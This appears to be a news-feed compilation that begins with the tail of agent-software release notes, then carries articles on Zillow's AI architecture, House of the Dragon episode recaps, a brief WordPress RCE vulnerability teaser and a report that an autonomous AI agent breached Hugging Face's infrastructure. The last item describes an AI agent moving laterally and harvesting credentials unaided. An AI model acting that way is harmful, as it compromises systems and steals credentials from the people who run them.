Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

Reasoning & MoA

max + ultra effort levels across every surface and route (#62650 — @teknium1)
Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

Delegation, approvals & the agent loop

Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
Smart approvals default; user-defined deny rules (block even under yolo); /deny relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

Secrets & config

Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

Sessions & compression

Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

🌐 Gateway, Fleet & Relay

Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
Session auto-reset default off; /sessions search ; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

📱 Messaging Platforms

Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

🖥️ Hermes Desktop App

Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

📊 Web Dashboard

Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (#60569, #63699, #60571, #65361, #64636 — @teknium1, @kshitijk4poor, @shannonsands)
Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; browser.headed schema toggle; profile + gateway topology on /api/status; mobile/hosted OpenAI OAuth login (#60515, #65895, #61929, #67046, #60537, #61330 — @teknium1, @OutThisLife, @benbarclay)
hermes serve is a true headless backend (no web UI build/mount) (#55923 — @OutThisLife)

🧰 CLI & TUI

/subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
/model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
--safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

🔧 Tool System, Skills & MCP

MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

🔒 Security & Reliability

Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

🔁 Reverted in this window (for the record)

iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
dynamic-workflow orchestration skill (landed, then reverted) — not shipping
memory provider-actions extension point (landed, then reverted) — not shipping
Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

👥 Contributors

450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.

Core team

@teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
@OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
@kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
@ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
@benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
@alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
@helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
@austinpickett — desktop custom endpoint settings
@SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

Top community contributors

@srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
@HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
@UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
@xxxigm — leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
@erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
@Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
@necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
@DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
@shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
@vishal-dharm — Gemini request-context improvements
@PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
@alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

All contributors

@0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,
@adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,
@alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,
@allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,
@AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,
@asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,
@bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,
@briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,
@cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,
@craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,
@datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,
@deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,
@dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,
@doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,
@Elektrofussel, @eliteworkstation94-ai, @embwl0x, @emo-eth, @emozilla, @enzo-adami, @Epoxidex, @ErnestHysa,
@erosika, @esthonjr, @ethernet8023, @evefromwayback, @evelynburger, @F4TB0Yz, @falkoro, @fanyangCS, @firefly,
@fjlaowan1983, @flewe, @flo1t, @flow-digital-ny, @floze-the-genius, @frizikk, @Frowtek, @FuryMartin,
@fyzanshaik, @gauravsaxena1997, @geoffreybutler94, @georgedrury, @gigakun3030, @giggling-ginger,
@Git-on-my-level, @gitcommit90, @githubespresso407, @gnodet, @GottZ, @Gridzilla, @grimmjoww578, @gumclaw,
@Gutslabs, @HaiderSultanArc, @harjothkhara, @heathley, @hejuntt1014, @helix4u, @HeLLGURD, @hellno,
@herbalizer404, @HexLab98, @hmirin, @Hopfensaft, @Hotragn, @hsy5571616, @huanshan5195, @HumphreySun98,
@hwrdprkns, @hydracoco7, @hydraxman, @iamlukethedev, @iborazzi, @IgorGanapolsky, @iizotov, @ildunari,
@infinitycrew39, @IpastorSan, @irresi, @isfttr, @isheng-eqi, @itsflownium, @izumi0uu, @Jaaneek, @JacketPants,
@jaisup, @jakelongvu-bot, @jakepresent, @jaketracey, @JAlmanzarMint, @JasonFang1993, @jbbottoms, @jcjc81,
@JiaDe-Wu, @Jiahui-Gu, @Jigoooo, @jingsong-liu, @jneeee, @JoaoMarcos44, @joelbrilliant, @John-Lussier, @jplew,
@jtstothard, @juniperbevensee, @Jupiter363, @justinschille, @k4z4n0v4, @kaishi00, @karfly, @kartik-mem0,
@kavioavio, @KCAYAAI, @kenyonxu, @keslerm, @kevinrajaram, @knoal, @kocaemre, @kohoj, @konsisumer, @krowd3v,
@kshitijk4poor, @kuangmi-bit, @kubolko, @kyssta-exe, @Kyzcreig, @l0h1nth, @labsobsidian, @laurinaitis,
@LavyaTandel, @lawyer112, @lemonwan, @LeonSGP43, @lEWFkRAD, @linfeng961, @liuhao1024, @liuwei666888, @ljy-2000,
@loes5050, @logical-and, @LoicHmh, @loongfay, @lord-dubious, @lost9999, @lucasfdale, @lucaskvasirr,
@luxuguang-leo, @ly-wang19, @m0n5t3r, @m1qaweb, @M1racleShih, @MaartenDMT, @mahdiwafy, @MaheshBhushan,
@ManniBr, @marcelohildebrand, @marcolivierlavoie, @markoub, @MarkVLK, @Marxb85, @matantsevs,
@maxpetrusenkoagent, @mbac, @mdc2122, @mguttmann, @Mibayy, @michaelHMK, @mijanx, @minchang, @momomojo,
@MorAlekss, @morluto, @msh01, @mssteuer, @mvanhorn, @nanami7777777, @nankingjing, @necoweb3, @neo-claw-bot,
@neoguyverx, @nicha16, @nikshepsvn, @nima20002000, @nnnet, @NousResearch, @nullptr0807, @nv-kasikritc,
@okisdev, @OmarB97, @ooiuuii, @ooovenenoso, @oppih, @Osraka, @ostravajih, @otsune, @OutThisLife, @OYLFLMH,
@patrick-muller, @pdmartins, @pedrommaiaa, @Peterskaronis, @petrichor-op, @pgregg88, @pierrenode, @pixel4039,
@plcunha, @pnascimento9596, @Polyhistor, @PRATHAMESH75, @professorpalmer, @Punyko8, @Que0x, @Qwinty,
@r0gersm1th, @r266-tech, @rabadaki, @ragingbulld, @RainbowAndSun, @rainbowgore, @randimt, @rarf, @rasitakyol,
@rayjun, @raymondyan-zhijie, @re-ITRT, @RenoMG, @Rival, @RKelln, @rlaehddus302, @rob-maron, @rodboev,
@roryford, @rungmc357, @ruslanvasylev, @s0xn1ck, @s905060, @s96919, @sahibzada-allahyar, @sahil-shubham,
@Sahil-SS9, @SahilRakhaiya05, @sam7894604, @SAMBAS123, @samrusani, @sanidhyasin, @sasquatch9818, @sberan,
@ScotterMonk, @seagpt, @sebastianlutycz, @SemonCat, @setclock, @shannonsands, @sharziki, @shashwatgokhe,
@SHL0MS, @shuangxinniao, @SilentKnight87, @simplast, @simpolism, @SiteupAgencia, @sjiangtao2024, @sk-holmes,
@slow4cyl, @smtony, @soddy022, @Soju06, @solyanviktor-star, @SongotenU, @spiky02plateau, @sprmn24, @SquabbyZ,
@srojk34, @ssiweifnag, @stantheman0128, @StellarisW, @stephenschoettler, @suninrain086, @superposition,
@Supersynergy, @sweetcornna, @szafranski, @tanmayxchoudhary, @tarunravi, @tcconnally, @terry197913, @Thatgfsj,
@thegoodguysla, @thestudionorth, @TheTom, @TinkerOfThings, @tjboudreaux, @tjp2021, @Tortugasaur, @Tosko4,
@Tranquil-Flow, @trevorgordon981, @trismegistus-wanderer, @tt-a1i, @tuancookiez-hub, @TurgutKural, @Umi4Life,
@UnathiCodex, @unsupportedpastels, @uzaylisak, @valda, @vampyren, @veradim, @victor-kyriazakos, @virtualex-itv,
@vishal-dharm, @Vissirexa, @vizi0uz, @vkkong, @vKongv, @VolodymyrBg, @vortexopenclaw, @VrtxOmega, @WadydX,
@waroffchange, @waseemshahwan, @web3blind, @webtecnica, @wesleion, @wesleysimplicio, @williamumu,
@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, @xxxigm, @ya-nsh, @yatesjalex,
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,
@ziliangpeng, @zwcf5200, @zzpigpinggai

Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.

Full Changelog: v2026.7.1...v2026.7.20

At VB Transform 2026, Zillow's engineering chief said AI ROI numbers only hold up if you measure before you build

Mon, 20 Jul 2026 19:18:54 +0200

Zillow, the real estate technology company, doesn't get one conversation with its customers. They move from a phone screen to a loan officer to a real estate agent, sometimes over months or years, and expect the context to follow them. A single chatbot could never carry that thread.

At VB Transform 2026, Zillow SVP of Engineering Toby Roberts and Glean co-founder and CEO Arvind Jain described how they built AI architecture meant to carry context across that entire journey — and why context, not raw data, turned out to be the harder problem to solve. Zillow's products touch roughly 80% of U.S. real estate transactions each year, and the company has been using AI long before ChatGPT existed.

"We pretty quickly identified that we were going to need a persistent context layer that was going to meet our customers and the professionals wherever they were," Roberts said.

Data was never the hard part

Roberts said Zillow's AI effort started where most enterprise AI efforts start, with the data itself.

"We started with a large push around making sure our data did have the right foundation," Roberts said. That meant a data mesh approach, clear data lineage and a governance structure with permissions and identity attached to the data itself.

None of that turned out to be the hard problem. The hard problem was building something that remembered where a customer was in their journey and carried that forward, no matter which surface they showed up on next.

"This context layer has to live to be able to support you where you are at any given point in your journey," Roberts said. Zillow chose to own that layer itself rather than depend on a single external chat interface, a decision Roberts said the team reached quickly once it looked at the shape of a real transaction rather than a single conversation.

Why Zillow built its own architecture, and where Glean fits into it

Zillow built its own harness rather than route customers through a single model API. The team drew on 20 years of machine learning history behind products like Zestimate, leaning into smaller, task-specific fine-tuned models instead of one general-purpose model.

Internally, that harness runs alongside Glean. Roberts said Zillow now has thousands of Glean agents in production, handling repetitive tasks with tens of thousands of executions across the company. Glean's pitch, per Jain, is centralizing that integration work once, through the Glean MCP gateway, rather than letting finance, legal and marketing each rebuild their own connections to the same systems.

That centralization is also a cost lever. Jain pointed to two mechanisms: model routing, which sends most tasks to smaller, cheaper models instead of defaulting to frontier models, and precomputed context, which avoids an agent burning tokens assembling its own context from scratch.

"Claude is also very slow because the first part of assembling that context actually takes forever," Jain said. Routing that request through Glean instead, he said, can cut token consumption by as much as half.

What Zillow and Glean's approach means for enterprises

Across data, cost and permissions, the session offered a few practical takeaways for enterprises building agentic AI on their own systems.

Build the measurement baseline before the AI push, not after. Roberts said Zillow's ability to credibly attribute a 40% increase in shipped code to AI adoption rests on a DORA metrics baseline the team put in place years earlier, not on the AI rollout itself.

Centralize context once instead of letting every team rebuild it. Jain's core argument for Glean's platform is that duplicated integration work across finance, legal and marketing teams is a hidden cost most enterprises haven't accounted for.

Don't assume permission inheritance is enough for regulated data. Even with a permissions-aware context platform in place, Zillow layered hard rules and a standing compliance check on top for its most sensitive categories, rather than trusting the architecture to handle it automatically.

Treat context as a cost lever, not just a capability. Model routing and precomputed context were the two mechanisms Jain pointed to for cutting AI spend, both aimed at reducing wasted token consumption rather than adding new capability.

"Models by themselves are not enough to bring automation with AI inside your enterprise," Jain said. "You do have to connect it with your enterprise context."

House of the Dragon Season 3 Episode 5 Secret Tunnel Explained

Mon, 20 Jul 2026 19:04:53 +0200

House of the Dragon Season 3 Episode 5 places Alicent and Helaena inside one of the Red Keep’s hidden passages, where a planned escape quickly turns into a dangerous trap. Their disappearance adds fresh political tension while also showing how the castle’s secret tunnels can protect people, mislead them, or leave them buried beneath the seat of power. The passage appears to connect with the maze built under the Red Keep during the reign of Maegor I Targaryen. Maegor ordered the construction of hidden doors, false walls, and escape routes so he could survive attacks or flee during a siege. He later killed the workers who knew the full design, which left the tunnels dangerous for anyone who entered without guidance. Why Alicent and Helaena Become Trapped Alicent and Helaena close the hidden door after entering the passage, then discover that someone has blocked the route ahead. Helaena drops their only light after a rat frightens her, leaving both women trapped in complete darkness with no clear way back. The blocked path suggests that someone deliberately closed this escape route. Mysaria stands out as the main suspect because she appears to know what happens across the Red Keep, including private details about Helaena. Larys Strong also remains a possible suspect because he often plans and understands how people behave under pressure. Their Disappearance Creates Political Trouble Rhaenyra will probably assume that Alicent and Helaena escaped from the castle, while Mysaria can use that belief to increase suspicion inside the Black faction. Daemon may reach a different conclusion and suspect that Ormund Hightower arranged their removal as part of a wider Green plan. Alicent and Helaena will likely escape the tunnels, but their temporary disappearance can still push both sides toward further conflict. The scene also gives the Red Keep a stronger role in the story, as its hidden structure becomes another source of fear, confusion, and political danger.

‘House of the Dragon’ Season 3, Episode 5 Recap: Alicent and Helaena Face a Dark Fate

Mon, 20 Jul 2026 19:04:30 +0200

House of the Dragon Season 3, Episode 5 slows the pace after the conflict at Tumbleton, focusing on the personal and political consequences spreading across Westeros. Titled “Unbowed and Unbent,” the episode follows several characters who have lost control of their lives, armies, and claims to power. Spoiler warning: This recap contains major spoilers for House of the Dragon Season 3, Episode 5. Episode title: Unbowed and Unbent Release date: July 19, 2026 Streaming platform: HBO Max Genre: Fantasy drama The episode arrived on HBO and HBO Max in the United States on Sunday, July 19, while viewers in several international regions received it on Monday, July 20. New episodes continue to release weekly. Alicent and Helaena Try to Escape the Red Keep The most disturbing storyline follows Alicent and a pregnant Helaena, who remain prisoners inside the Red Keep after Rhaenyra’s forces captured King’s Landing. Alicent discovers a hidden passage connected to Rhaenyra’s old bedroom and decides that it could offer them a way out. However, Helaena initially refuses to enter the tunnels because they remind her of the men who murdered her son, Jaehaerys. She eventually follows Alicent, but their escape soon goes wrong. The narrow passage leads them deeper into the castle's hidden structure, where they become trapped without light or a clear route back. Their situation reflects how far both women have fallen. Alicent once influenced kings and controlled the royal court, while Helaena carried the title of queen. They now find themselves buried inside the walls of the same political system that once protected them. Daemon knows many of the Red Keep’s hidden routes, which leaves open the possibility that he could find them in Episode 6. However, their disappearance could create another serious problem for Rhaenyra’s unstable rule. Aemond Finds Comfort With Alys Rivers At Harrenhal, Aemond continues recovering from his injuries while struggling with nightmares and guilt. He dreams about Aegon and fears that Helaena’s warning about his death will come true. Alys Rivers cares for him during his weakest moments. Their relationship develops with surprising tenderness as Alys helps him face his fear of losing Vhagar and his position in the war. Aemond also protects her when danger arrives, revealing a softer side rarely seen in previous seasons. Criston Cole Prepares for His Final Battle Criston Cole’s forces face growing resistance in the Riverlands as Oscar Tully counters his guerrilla attacks. With morale collapsing and the road to Tumbleton closing, Cole accepts that he may not survive the coming confrontation. His speech to his remaining soldiers strongly prepares the story for the Butcher’s Ball, one of the Dance of the Dragons’ most brutal events. In the book, Cole dies after attempting to negotiate, but the series appears ready to give the confrontation a more personal focus. Who Killed Rhaenyra’s Gold Cloaks? The episode ends with Daemon discovering several murdered members of the City Watch, including men loyal to Rhaenyra. Their bodies have been arranged beneath a message written in blood: “A feast for traitors.” Ormund Hightower arranged the attack as part of a larger campaign to weaken Rhaenyra’s control over King’s Landing. By targeting her enforcers and spreading anti-crown propaganda, he hopes to turn the smallfolk against her from within. House of the Dragon Season 3, Episode 5 replaces dragon battles with fear, isolation, and political sabotage. Alicent and Helaena remain trapped, Criston prepares for a final stand, and Rhaenyra faces a growing rebellion inside her new capital. What do you think will happen to Alicent and Helaena, and will Daemon find them before it is too late? Let us know in the comments.

Critical wp2shell RCE Vulnerability – Complete Coverage Including PoC and Active Exploitation Details

Mon, 20 Jul 2026 19:00:35 +0200

A critical pre-authentication remote code execution (RCE) vulnerability chain nicknamed “wp2shell” has been disclosed in WordPress Core, putting an estimated 500 million-plus websites at risk of full takeover by completely unauthenticated attackers. The chain combines two separately tracked flaws CVE-2026-63030, a REST API batch-route confusion issue, and CVE-2026-60137, a SQL injection vulnerability in the author__not_in […]

The post Critical wp2shell RCE Vulnerability – Complete Coverage Including PoC and Active Exploitation Details appeared first on Cyber Security News.

Safety guardrails blocked Hugging Face's defenders, not the attacker, when an AI agent breached its systems

Mon, 20 Jul 2026 18:03:18 +0200

Hugging Face’s incident response team first turned to frontier AI models to analyze a breach of the company’s production infrastructure, and the models refused to help. Commercial safety guardrails built to stop attackers blocked every forensic query because they treated the IR team’s real exploit data the same way they would treat a live attack.

The attacker, an autonomous AI agent running the campaign end to end, moved laterally across the Hugging Face infrastructure for a weekend, undetected and unstopped.

Security leaders are quick to recognize the pattern and diagnose what went wrong. “I’ve seen versions of this during red-team exercises and internal security testing, but this is one of the first high-profile examples where it materially affected real incident response,” said Merritt Baer, senior adviser to Andesite, G2I, and AppOmni and former Deputy CISO at AWS.

None of this is unique to Hugging Face, Baer said. “Commercial frontier models optimize for preventing misuse. They generally have no cryptographic or organizational way to determine whether the person asking ‘analyze this malware’ is an incident responder or the malware author.”

A malicious dataset opened two code-execution paths

On July 16, Hugging Face disclosed that an autonomous AI agent system had compromised its production infrastructure, gaining unauthorized access to a limited set of internal datasets and several service credentials. The company verified that its software supply chain was clean and found no evidence of tampering with public models, datasets, or Spaces.

Hugging Face is still assessing whether the intrusion touched any partner or customer data and says it will contact affected parties directly as required. But few enterprise threat models had accounted for the attacker Hugging Face faced. An autonomous agent ran the entire campaign from initial access through credential harvesting. No human guided it.

